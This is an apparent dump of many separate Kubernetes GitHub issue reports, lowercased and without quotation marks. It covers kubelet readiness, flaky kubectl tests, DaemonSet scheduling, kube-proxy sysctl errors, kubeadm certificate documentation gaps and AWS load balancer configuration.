,   reflect.rtype  0x1f096a0 :  printers.handlerentry  0xc4208b8730 ,   reflect.rtype  0x1f0ad60 :  printers.handlerentry  0xc4208b9130 ,   reflect.rtype  0x1f08b40 :  printers.handlerentry  0xc4208b9270 ,   reflect.rtype  0x200f960 :  printers.handlerentry  0xc4208b9450 ,   reflect.rtype  0x1f0a820 :  printers.handlerentry  0xc420505270 ,   reflect.rtype  0x200f420 :  printers.handlerentry  0xc4208b8a50 ,   reflect.rtype  0x2010920 :  printers.handlerentry  0xc4208b96d0 ,   reflect.rtype  0x1f0b620 :  printers.handlerentry  0xc4208b9cc0 ,   reflect.rtype  0x200aaa0 :  printers.handlerentry  0xc420504a00 ,   reflect.rtype  0x1f0a580 :  printers.handlerentry  0xc420505590 ,   reflect.rtype  0x2009060 :  printers.handlerentry  0xc4208b8e10 ,   reflect.rtype  0x200ec40 :  printers.handlerentry  0xc4208b8f50 ,   reflect.rtype  0x200df20 :  printers.handlerentry  0xc4208b9a90 ,   reflect.rtype  0x1f0a120 :  printers.handlerentry  0xc4203dc280 ,   reflect.rtype  0x2009ae0 :  printers.handlerentry  0xc4208b82d0 ,   reflect.rtype  0x200a2c0 :  printers.handlerentry  0xc4208b8690 ,   reflect.rtype  0x200d200 :  printers.handlerentry  0xc4208b8cd0 ,   reflect.rtype  0x200e9a0 :  printers.handlerentry  0xc4208b9310 ,   reflect.rtype  0x1f0b460 :  printers.handlerentry  0xc4208b9630 ,   reflect.rtype  0x200c4e0 :  printers.handlerentry  0xc420505b30 ,   reflect.rtype  0x200f6c0 :  printers.handlerentry  0xc4208b9090 ,   reflect.rtype  0x200d740 :  printers.handlerentry  0xc4205054f0 ,   reflect.rtype  0x200b280 :  printers.handlerentry  0xc4208b8190 ,   reflect.rtype  0x1f0a3c0 :  printers.handlerentry  0xc4208b8d70 ,   reflect.rtype  0x1f0af20 :  printers.handlerentry  0xc4208b94f0 ,   reflect.rtype  0x1f0b380 :  printers.handlerentry  0xc4208b9770 ,   reflect.rtype  0x1f0a740 :  printers.handlerentry  0xc4208b9b80 ,   reflect.rtype  0x1fb9840 :  printers.handlerentry  0xc4208b9ea0 ,   reflect.rtype  0x200afe0 :  printers.handlerentry  0xc420504dc0 ,   reflect.rtype  0x200e1c0 :  printers.handlerentry  0xc420505180 ,   reflect.rtype  0x1f0a9e0 :  printers.handlerentry  0xc420505a90 ,   reflect.rtype  0x200a020 :  printers.handlerentry  0xc4208b87d0 ,   reflect.rtype  0x1f0aba0 :  printers.handlerentry  0xc4208b8ff0 ,   reflect.rtype  0x2008880 :  printers.handlerentry  0xc4208b91d0 ,   reflect.rtype  0x200eee0 :  printers.handlerentry  0xc420504fa0 ,   reflect.rtype  0x1f09b00 :  printers.handlerentry  0xc4208b8230 ,   reflect.rtype  0x200e460 :  printers.handlerentry  0xc4208b8b90 ,   reflect.rtype  0x1f09080 :  printers.handlerentry  0xc4208b8eb0 ,   reflect.rtype  0x1f0b2a0 :  printers.handlerentry  0xc4208b98b0 ,   reflect.rtype  0x1f0b540 :  printers.handlerentry  0xc4208b9e00 ,   reflect.rtype  0x200c240 :  printers.handlerentry  0xc4208b9f40 ,   reflect.rtype  0x1f09940 :  printers.handlerentry  0xc420504af0 ,   reflect.rtype  0x200fea0 :  printers.handlerentry  0xc420504be0 ,   reflect.rtype  0x1f0ac80 :  printers.handlerentry  0xc420505090 ,   reflect.rtype  0x1f094e0 :  printers.handlerentry  0xc4208b8370 ,   reflect.rtype  0x1f0ae40 :  printers.handlerentry  0xc4208b8af0 ,   reflect.rtype  0x1f0aac0 :  printers.handlerentry  0xc4208b93b0 ,   reflect.rtype  0x1f09a20 :  printers.handlerentry  0xc420504eb0 ,   reflect.rtype  0x200b7c0 :  printers.handlerentry  0xc420505630 ,   reflect.rtype  0x2009d80 :  printers.handlerentry  0xc420505db0 ,   reflect.rtype  0x20095a0 :  printers.handlerentry  0xc420505ef0 ,   reflect.rtype  0x200b520 :  printers.handlerentry  0xc4208b8410 ,   reflect.rtype  0x1f09be0 :  printers.handlerentry  0xc4208b84b0 ,   reflect.rtype  0x2008dc0 :  printers.handlerentry  0xc4208b8910 ,   reflect.rtype  0x20103e0 :  printers.handlerentry  0xc4208b9950 }\r    \r \r      version\r    $ kubectl version                          \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.456+b77ed7868866e3-dirty\ , gitcommit:\ b77ed7868866e337799a7c664e0f86dfdf3bf5e3\ , gittreestate:\ dirty\ , builddate:\ 2017-06-08t13:14:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+5115d708d7\ , gitcommit:\ 010d313\ , gittreestate:\ clean\ , builddate:\ 2017-06-08t12:17:41z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

/debug/pprof  on nodes is protected under the generic proxy rule for a node, which allows a high level of privilege under a node.  while in theory profiling can be used to extract sensitive info from a node, in general it is less powerful than the permissions required on the node.  the desire is to set up an automated debug endpoint that can capture profile traces for a cluster for participating members, and we would prefer not to give that component full access to nodes.\r \r there may be some backward compatible implications of changing how node proxy acl works, so we may have to do two checks to preserve the old path.\r \r

/ / /area platform/gke\r  /status approved-for-milestone\r @kubernetes/sig-gcp-test-failures\r \r this job has been failing since 2017-11-02.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-alpha.3   kubernetes/sig-release 27 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial\r \r - latest bad as of filing: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/4028\r - suspect changelog: https://github.com/kubernetes/kubernetes/compare/40212c17c...dc35709ee\r \r this seems like the same failures as  55189

 \r in a kops created cluster running kubernetes 1.8.4 nodes sometimes start but fail to connect to the masters. i have tracked the issue down to this difference:\r \r failed:\r i1216 07:28:57.369519 1900 aws.go:847  building aws cloudprovider\r i1216 07:28:57.369555 1900 aws.go:810  zone not specified in configuration file; querying aws metadata service\r e1216 07:28:57.586712 1900 tags.go:94  tag \ kubernetescluster\  nor \ kubernetes.io/cluster/...\  not found; kubernetes may behave unexpectedly.\r w1216 07:28:57.586744 1900 tags.go:78  aws cloud - no clusterid filtering applied for shared resources; do not run multiple clusters in this az.\r i1216 07:28:57.586807 1900 server.go:301  successfully initialized cloud provider: \ aws\  from the config file: \ \ \r \r successful:\r i1218 08:32:38.492573 28476 aws.go:847  building aws cloudprovider\r i1218 08:32:38.492596 28476 aws.go:810  zone not specified in configuration file; querying aws metadata service\r i1218 08:32:38.669713 28476 tags.go:76  aws cloud filtering on clusterid: kube.test.int\r i1218 08:32:38.669788 28476 server.go:301  successfully initialized cloud provider: \ aws\  from the config file: \ \ \r \r so in the failing case the aws metadata either doesn't respond or the response is missing critical information  i'm not sure how to find out which . this query isn't retried during kubelets general \ retry connecting to the api\  loop, so the kubelet will keep running but it will never retrieve the information it needs to install and configure calico and join the network.

kubectl log will state that the pod doesn't exist while the pod is in pending state. i think it would be better to indicate that there are no logs and that the pod is in pending state.  ./cluster/kubectl.sh log authenticator-controller-boqdp running: ./cluster/../cluster/gce/../../cluster/../_output/dockerized/bin/linux/amd64/kubectl log authenticator-controller-boqdp pod \ authenticator-controller-boqdp\  does not exist  ./cluster/kubectl.sh get pods -l name=authenticator   running: ./cluster/../cluster/gce/../../cluster/../_output/dockerized/bin/linux/amd64/kubectl get pods -l name=authenticator pod                              ip        container s     image s                                       host                                                            labels               status    created authenticator-controller-boqdp             authenticator   fgrzadkowski/example-cloudsql-authenticator   kubernetes-minion-db1v.c.krousey-kubernetes-starter.internal/   name=authenticator   pending   2 minutes

i have followed the aws eks documentation and created a cluster and attached worker nodes to that. i have launched a guestbook application and i can scale the pods and everything works fine. but i'm unable to ssh to the worker node using my key file. my cluster is in public network as of now.

is this a bug report  :\r sonobuoy runs the kubernetes e2e's differently then test-infra.  it constructs an in-cluster config vs. being handed a kubeconfig from the infra.  \r \r in 1.12 something has broken this behavior, i'm still digging into the details. \r \r   what happened  :\r run tests from within the cluster error occurs - \r https://paste.fedoraproject.org/paste/d559nyx6slgha3tlptwt5a\r \r   what you expected to happen  :\r works fine, just like it had in 1.11 \r \r   how to reproduce it  as minimally and precisely as possible   :\r run tests from within the cluster given proper rbac rules. \r \r   anything else we need to know?  :\r discovered when updating sonobuoy for 1.12.\r \r   \r /cc @kubernetes/sig-cluster-lifecycle @dims @bentheelder @kubernetes/cncf-conformance-wg  \r \r

is this a bug report or feature request?:\r bug report\r \r what happened:\r systemctl restart kubelet, keep trying \ kubectl get node\ , node will be notready and then endpoints on that node will be not ready\r what you expected to happen:\r node stays in ready status during kubelet restart\r how to reproduce it  as minimally and precisely as possible :\r just restart kubelet and then keep trying \ kubectl get node\ \r \r anything else we need to know?:\r i went through code and find cause as below：\r in pkg/kubelet/kubelet_node_status.go, function setnodereadycondition, it checks kl.runtimestate.runtimeerrors   and kl.runtimestate.networkerrors  , kubelet will reports notready events if any error here.\r however, in runtimestate.runtimeerrors  , it check s.lastbaseruntimesync as below:\r if !s.lastbaseruntimesync.add s.baseruntimesyncthreshold .after time.now    {\r ret = append ret, \ container runtime is down\  \r }\r but during kubelet initialization, s.lastbaseruntimesync is first set to clock.realclock{}, which is 0001-01-01 00:00:00 by default, so there will be definitely runtimeerror here, util updateruntimeup in kubelet.go sets the s.lastbaseruntimesync to kl.clock.now  \r environment:\r \r kubernetes version  use kubectl version :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ 1.5.3\ , gitcommit:\ 95211f016be1e91dc9f67b57e0c1ade9d16268a1\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t20:08:16z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ 1.5.3\ , gitcommit:\ 95211f016be1e91dc9f67b57e0c1ade9d16268a1\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t20:05:58z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r cloud provider or hardware configuration:\r os  e.g. from /etc/os-release :\r centos linux release 7.2.1511  core \r kernel  e.g. uname -a :\r linux 3.10.0-327.el7.x86_64\r install tools:\r kubeadm\r others:

the test case \ executing a command with run and attach without stdin\  is inherently racy.\r \r the test runs kubectl run run-test --image=docker.io/library/busybox:1.29 --restart=onfailure --attach=true --stdin -- sh -c cat && echo 'stdin closed' , and expected to see  stdin closed  in the output.\r \r the case when the test passes:\r   case 1:\r     kubernetes creates and starts the container without stdin;\r     the container exits before attach runs;\r     kubectl falls back to get container log, which contains  stdin closed . https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/run/run.go l527\r   case 2:\r     kubernetes creates and starts the container without stdin;\r     kubectl attach before \ stdin closed\  is printed;\r     kubectl attach contains  stdin closed .\r \r the case when the test fails:\r     kubernetes creates and starts the container without stdin;\r     the container prints \ stdin closed\ , but hasn't exited yet;\r     kubectl attach contains nothing.\r \r one example failure: https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-containerd-e2e-ubuntu-gce/7057\r \r related issue: https://github.com/kubernetes/kubernetes/issues/24070\r \r can we modify this test not to check the output? or use  kubectl log  to check output instead?\r \r /cc @kubernetes/sig-node-bugs @kubernetes/sig-cli-bugs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   v1.6.2-beta.0    use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.1\ , gitcommit:\ 176eb0e509a255dd520de135cda31096f8796be5\ , gittreestate:\ clean\ , builddate:\ 2017-04-06t20:00:18z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r \r   environment  : \r -   cloud provider or hardware configuration  : private cloud provider\r -   os    e.g. from /etc/os-release : ubuntu-16.04-amd64\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r i tried to bootstrap a cluster with kubeadm init using --kubernetes-version=1.7.0-alpha.1 but it does not work. nodes remain in a notready state. \r \r the kubedns are not able to start  0/3  with failedscheduling event fired. \r \r i am able to join a node but it appears notready. the weave-net in the node is not able to start due to \ the server does not allow access to the requested resource\  \r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r in  validatelabelselectorrequirement , it only validates selector's name; it's better to also validate selector's value, so the other components can use selector directly.\r \r xref https://github.com/kubernetes/kubernetes/pull/46952\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r this issue is for creating  nonewprivs  image as multiarch

is this a bug report or feature request?  :\r  \r   what happened  :\r    \r name            desired   current   ready     up-to-date   available   node-selector   age\r node-exporter   0         0         0         0            0           <none>          43m\r    \r \r   what you expected to happen  :\r we have 9 nodes running and therefore would expect \r  desired number of nodes scheduled: 9 \r \r   how to reproduce it  as minimally and precisely as possible   :\r we haven't had time to try to reproduce on a fresh cluster - but we can reproduce by applying the manifest below to our cluster for any namespace incl.  kube-system  with the same result of 0 desired nodes scheduled.\r \r note: we have 3 other daemonsets which are working just fine - but no noticeable difference to this one.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.4\r - cloud provider or hardware configuration  : aws via kops\r \r - manifest:\r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: node-exporter\r spec:\r   template:\r     metadata:\r       labels:\r         app: node-exporter\r       name: node-exporter\r     spec:\r       hostnetwork: true\r       hostpid: true\r       containers:\r       - image:  quay.io/prometheus/node-exporter:v0.14.0\r         args:\r         - \ -collector.procfs=/host/proc\ \r         - \ -collector.sysfs=/host/sys\ \r         name: node-exporter\r         ports:\r         - containerport: 9100\r           hostport: 9100\r           name: scrape\r         resources:\r           requests:\r             memory: 30mi\r             cpu: 100m\r           limits:\r             memory: 50mi\r             cpu: 200m\r         volumemounts:\r         - name: proc\r           readonly:  true\r           mountpath: /host/proc\r         - name: sys\r           readonly: true\r           mountpath: /host/sys\r       volumes:\r       - name: proc\r         hostpath:\r           path: /proc\r       - name: sys\r         hostpath:\r           path: /sys\r    \r \r just in case i restarted  kube-controller-manager  pods and deleted/reapplied the manifest. didn't help.\r \r how could i debug or get any log / information why the daemonset won't be scheduled for our nodes?

there is currently a bug with the docker shim checkpoint file when the file is corrupt that can cause the kubelet to not be able to stop a sandbox.\r \r the issue occurs because  buildcniruntimeconf    modifies the error from  getpodportmappings    as it propagates the error:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/network/cni/cni.go l303 \r \r the corrupted checkpoint file should be removed by the higher level:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/docker_sandbox.go l200\r \r but because the error has been modified, this is not run and treated as an unhandled error, continuously blocking  stoppodsandbox   .\r \r results in continuous  could not retrieve port mappings: checkpoint is corrupted  errors.\r \r \r \r

currently when having  externaltrafficpolicy=local  you cannot reach your service through the externalip on a node without the targeted pods. is it an expected behaviour ? \r \r kubernetes v1.10.1 running on azure.\r \r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r kube-proxy failed to start with kubernetes v1.12.0 and pouch v1.1.0 using kubeadm.\r \r   what you expected to happen  :\r would start successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use kubeadm to deploy kubernetes v1.12.0.\r \r   anything else we need to know?  :\r following is the error output:\r \r    \r  root@k8s-1 ~   docker  ps -a | grep kube-proxy\r k8s_kube-proxy_kube-proxy-qhgxq_kube-system_0bf6caeb-1008-11e9-8fd9-080027d3613a_2                         ea0c5c   exited  255  4 minutes   4 minutes ago    k8s.gcr.io/kube-proxy:v1.12.0                                         runc\r k8s_pod_kube-proxy-qhgxq_kube-system_0bf6caeb-1008-11e9-8fd9-080027d3613a_1                                4c4749   up 24 minutes            24 minutes ago   registry.cn-hangzhou.aliyuncs.com/google-containers/pause-amd64:3.0   runc\r  root@k8s-1 ~   docker  logs k8s_kube-proxy_kube-proxy-qhgxq_kube-system_0bf6caeb-1008-11e9-8fd9-080027d3613a_2\r w0104 14:59:29.155654       1 proxier.go:458  failed to load kernel module ip_vs_rr with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w0104 14:59:29.157777       1 proxier.go:458  failed to load kernel module ip_vs_wrr with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w0104 14:59:29.158472       1 proxier.go:458  failed to load kernel module ip_vs_sh with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w0104 14:59:29.162873       1 server_others.go:295  flag proxy-mode=\ \  unknown, assuming iptables proxy\r i0104 14:59:29.182249       1 server_others.go:148  using iptables proxier.\r f0104 14:59:29.182290       1 server.go:360  unable to create proxier: can't set sysctl net/ipv4/conf/all/route_localnet: open /proc/sys/net/ipv4/conf/all/route_localnet: read-only file system\r    \r \r kube-proxy cannot set sysctl because of /proc/sys/  mounted as readonly. there is a relative issue  68803 that has been fixed in dockershim, which determines if there is privilege:\r https://github.com/dims/kubernetes/blob/02489f89884718bb6f0219b5c4a1e3a1e6e31150/pkg/kubelet/dockershim/security_context.go l140-l142\r \r    \r \tif !hostconfig.privileged {\r \t\thostconfig.maskedpaths = sc.maskedpaths\r \t\thostconfig.readonlypaths = sc.readonlypaths\r \t}\r    \r \r should we determine  privileged  in kubelet or cri runtime shim? there is not a kubernetes problem if latter.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :linux\r - kernel  e.g.  uname -a  :3.10.0-957.1.3.el7.x86_64\r - install tools:\r - others:\r

what happened  :\r a todo in the kube-proxy main   references switching to cobra for command parsing.\r \r   what you expected to happen  :\r cobra should be adopted in kube-proxy.\r \r  if this todo is now defunct or liable to become defunct, please close this ticket

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r inspecting the certificates that were installed for a kubernetes 1.13 cluster by kubeadm revealed several discrepancies to the current documentation in  \ pki certificates and requirements\   https://kubernetes.io/docs/setup/certificates/  with respect to actual vs. documented certificates.\r \r   what you expected to happen  :\r \r i expected an exact match with the documentation. when certificates expire\r and one has to recreate them manually exact information is key.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r for file-based certificates:   openssl x509 -in <crt> -noout -text \r for kubeconfig-based certificates:  echo <certificate-data> | base64 -d | openssl x509 -noout -text \r \r i've marked the possible errors i've come across as \ error\  in the tables\r below. hope this helps.\r \r cas:\r    \r subject: cn=kubernetes  error: kubernetes-ca \r issuer:  cn=kubernetes\r kind:    n/a\r file:    ca.crt\r purpose:  error: not mentioned in bullet list \r comment: also appears in the kubeconfigs mentioned below\r \r subject: cn=front-proxy-ca  error: kubernetes-front-proxy-ca \r issuer:  cn=front-proxy-ca\r kind:    n/a\r file:    front-proxy-ca.crt\r purpose:  error: not mentioned in bullet list \r \r subject: cn=etcd-ca\r issuer:  cn=etcd-ca\r kind:    n/a\r file:    etcd/ca.crt\r purpose:  error: not mentioned in bullet list \r    \r all certificates:\r    \r subject: cn=kube-apiserver\r issuer:  cn=kubernetes  error: kubernetes-ca \r kind:    server\r file:    apiserver.crt\r purpose: server certificate for the api server endpoint\r \r subject: cn=kube-apiserver-etcd-client,o=system:masters\r issuer:  cn=etcd-ca\r kind:    client\r file:    apiserver-etcd-client.crt\r purpose: client certificate for the api server to talk to etcd\r \r subject: cn=kube-apiserver-kubelet-client,o=system:masters\r issuer:  cn=kubernetes  error: kubernetes-ca \r kind:    client\r file:    apiserver-kubelet-client.crt\r purpose: client certificates for the api server to talk to the kubelets\r \r subject: cn=front-proxy-client\r issuer:  cn=front-proxy-ca  error: kubernetes-front-proxy-ca \r kind:    client\r file:    front-proxy-client.crt\r purpose: client certificate for the front-proxy\r \r subject: cn=kube-etcd-healthcheck-client,o=system:masters  error: without o \r issuer:  cn=etcd-ca\r kind:    client\r file:    etcd/healthcheck-client.crt\r purpose:  error: not mentioned in bullet list \r \r subject: cn= actual node name   error: kube-etcd-peer \r issuer:  cn=etcd-ca\r kind:    client/server\r file:    etcd/peer.crt\r purpose:  error: not mentioned in bullet list \r \r subject: cn= actual node name   error: kube-etcd \r issuer:  cn=etcd-ca\r kind:    client/server\r file:    etcd/server.crt\r purpose:  error: not mentioned in bullet list \r    \r client certificates in kubeconfigs:\r    \r subject: cn=kubernetes-admin,o=system:masters\r issuer:  cn=kubernetes\r kind:    client\r file:    /etc/kubernetes/admin.conf\r purpose: client certificates for administrators of the cluster to authenticate\r          to the api server\r \r subject: cn=system:kube-controller-manager\r issuer:  cn=kubernetes\r kind:    client\r file:    /etc/kubernetes/controller-manager.conf\r purpose: client certificate/kubeconfig for the controller manager to talk to the \r          api server\r \r subject: o=system:nodes,cn=system:node: actual node name \r issuer:  cn=kubernetes\r kind:    client\r file:    /etc/kubernetes/kubelet.conf\r purpose: client certificates for the kubelet to authenticate to the api server\r \r subject: system:kube-scheduler\r issuer:  cn=kubernetes\r kind:    client\r file:    /etc/kubernetes/scheduler.conf\r purpose: client certificate/kubeconfig for the scheduler to talk to the api \r          server\r    \r \r other certificates:  error: not mentioned in tables \r    \r purpose: server certificate for front-proxy\r    \r \r   anything else we need to know?  :\r \r @kubernetes/sig-docs-bugs\r \r   environment  :\r kubernetes 1.13 cluster, installed by kubeadm\r

i'm running k8s cluster on centos  vms  1 master and 2 minions .  if add \ --policy-config-file=/var/lib/policy/scheduler-policy.json\  to kube_scheduler_args in /etc/kubernetes/scheduler file and did systemctl daemon-reload and systemctl restart kube-scheduler from log i can see creating scheduler with algo provider 'defaultprovider', creating scheduler with fit predicates 'map hostname:{} ... and  'map leastrequestedpriority:{} balancedresourceallocation:{} servicespreadingpriority:{}   however if i run the same command  i.e. /usr/bin/kube-scheduler --logtostderr=true --v=4 --master=<master-ip>:8080 --policy-config-file=/var/lib/policy/scheduler-policy.json  on command line  can see creating scheduler with fit predicates 'map hostname:{} ... and  'map servicespreadingpriority:{} leastrequestedpriority:{} balancedresourceallocation:{}   instead in scheduler-policy.json just shifted servicespreading leastrequested balancedresourceallocation   if  edit unit file for scheduler n add --policy-config-file=/var/lib/policy/scheduler-policy.json right under /usr/bin/kube-scheduler, did a systemctl daemon-reload and systemctl restart kube-scheduler, it can work correctly  there is difference running scheduler with \ sudo -u kube /usr/bin/kube-scheduler %options%  --policy-config-file=...\  and \ sudo -u kube /usr/bin/kube-scheduler --policy-config-file=... %options%\    the 1st one will just display 0.217.x.x:8080 and address already bind and ended whereas the 2nd one will display 0.217.x.x:8080 and address already bind and continue create scheduler from config, registering predicate and registering priority  options order shouldn't matter, correct? pls advise. thanks

cleanup affinity references in the code post annotation->fields conversions. \r \r there is some other cleanup work that can be done around closures in the tests as well. \r \r @rrati is tasked with federation work, so i'll do the cleanup on this one, as i've done the reviews on his prs. \r \r /cc @kubernetes/sig-scheduling-misc \r \r

in pv controller, all volumes operations are not going through operation_exectuor like other controller  e.g. reconciler in attach_detach_controller . if an operation fails, the pv controller will not use exponential backoff to reduce the request rate. controller will try the same operation every 15 second  the default sync period . \r \r it would be better to use exponential backoff mechanism to reduce the operation request rate and could also avoid the multiple operations on the same volume concurrently.

is this a request for help? : yes, but could not find any guidance in the troubleshooting\r \r what keywords did you search in kubernetes issues before filing this one?: alot with kombination of: aws elb, kubernetes, https, annotation. found lot of issues and information, but have no idea how to solve my problems.\r \r if have generally two questions adressing the automatically created aws elb\r \r 1. is it possible to set the dns name of a generated aws elb ? \r e.g. set a readable name like \ service.namespace....eu-central-1....\ \r instead of the automatically generated one: \ ab624e70d1f....eu-central-1.elb.amazonaws.com\ \r \r 2. we have an application that is hosted on a tomee that has a http and https listener. i want to call https over the elb and route the request as a https request to the tomee. \r \r what works is receiving an https in the elb and call the http-port of tomee. \r \r the tomee has an self-signed certificate. using aws directly, we can define, that any certificate is trusted. \r \r is there an annotation  or other way  to configure the same over kubernetes?\r \r my configuration of the elb is like this:\r    \r apiversion: v1\r kind: service\r metadata:\r   labels:\r     elb: my-app-elb\r   name: my-app-elb\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-backend-protocol=https\r     service.beta.kubernetes.io/aws-load-balancer-ssl-cert=arn:aws:acm:eu-central-1:xyz:certificate/1234-312321-4242-312321-31234554\r     service.beta.kubernetes.io/aws-load-balancer-ssl-ports=443\r spec:\r   ports:\r   - name: https\r     port: 443\r     targetport: app-ssl-port\r     protocol: tcp\r   selector:\r     app: my-app\r   type: loadbalancer\r    \r \r the call of https -> https just not reach the tomee application.\r \r thx for any help! : \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r scheduler performance test does not work:\r \r    \r root@test-box:~/code/kubernetes/src/k8s.io/kubernetes/test/integration/scheduler_perf  ./test-performance.sh\r ~/code/kubernetes/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf ~/code/kubernetes/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf\r etcd --advertise-client-urls http://127.0.0.1:2379 --data-dir /tmp/tmp.fa8apmfh1d --listen-client-urls http://127.0.0.1:2379 --debug > \ /dev/null\  2>/dev/null\r waiting for etcd to come up.\r +++  0822 07:48:48  on try 2, etcd: : http://127.0.0.1:2379\r {\ action\ :\ set\ ,\ node\ :{\ key\ :\ /_test\ ,\ value\ :\ \ ,\ modifiedindex\ :4,\ createdindex\ :4}}\r +++  0822 07:48:48  performance test  density  start\r   k8s.io/kubernetes/test/integration/framework\r ../framework/master_utils.go:200: undefined: openapi.getopenapidefinitions\r ../framework/master_utils.go:212: undefined: openapi.getopenapidefinitions\r fail\tk8s.io/kubernetes/test/integration/scheduler_perf  build failed \r !!! error in ./test-performance.sh:51\r   error in ./test-performance.sh:51. 'go test -test.run=. -test.timeout=60m -test.short=false' exited with status 2\r call stack:\r   1: ./test-performance.sh:51 main ... \r exiting with status 1\r ~/code/kubernetes/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf\r +++  0822 07:51:49  performance test cleanup complete\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r run scheduler_perf by following: https://github.com/kubernetes/kubernetes/blob/master/test/integration/scheduler_perf/readme.md\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

51353 explains a problem with kubectl, where it reacts poorly when the apiserver closes the connection due to  timeout  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/filters/timeout.go l34 .\r \r that timeout is hard-coded to 60s.  that's probably a fine default, but we have found cases where ordinary requests won't complete in that time.  we should export this as a flag so that cluster admins can crank it up if they find this happening to them.\r \r  \r cc @jpbetz @lavalamp

i believe      i0319 21:39:15.483696   12583 server.go:676  get /api/v1beta1/nodeinfo:  23.815us  0   go 1.1 package http  127.0.0.1:37845       is coming from the master client, but the standard kubernetes user-agent that comes out of client.config is not present.  we should be using client config and making requests that way  so at a minimum the agent is correct .  this is probably a prereq for proper master->node auth, so @liggitt

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r as of now, scheduler doesn't support dry-run. it would be great to have an option like that.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

